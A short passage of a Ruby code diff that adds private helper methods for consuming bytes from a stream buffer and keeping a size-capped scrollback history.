300
+ note_scrollback(tube: t, data: opts[:data])
301
+ t[:buf]
302
+ end
303
+
304
+ private_class_method def self.consume_buf(opts = {})
305
+ t = opts[:tube]
306
+ n = opts[:bytes].to_i
307
+ n = t[:buf].bytesize if n > t[:buf].bytesize
308
+ t[:buf].slice!(0, n)
309
+ end
310
+
311
+ private_class_method def self.note_scrollback(opts = {})
312
+ t = opts[:tube]
313
+ return unless t
314
+
315
+ t[:scrollback] = "#{t[:scrollback]}#{opts[:data]}"
316
+ t[:scrollback].slice!(0, t[:scrollback].bytesize - BUF_MAX) if t[:scrollback].bytesize > BUF_MAX
317
+ end
318
+
228
319
  private_class_method def self.dump_scrollback(opts = {})
229
320
  t = opts[:tube]
230
321
  return unless t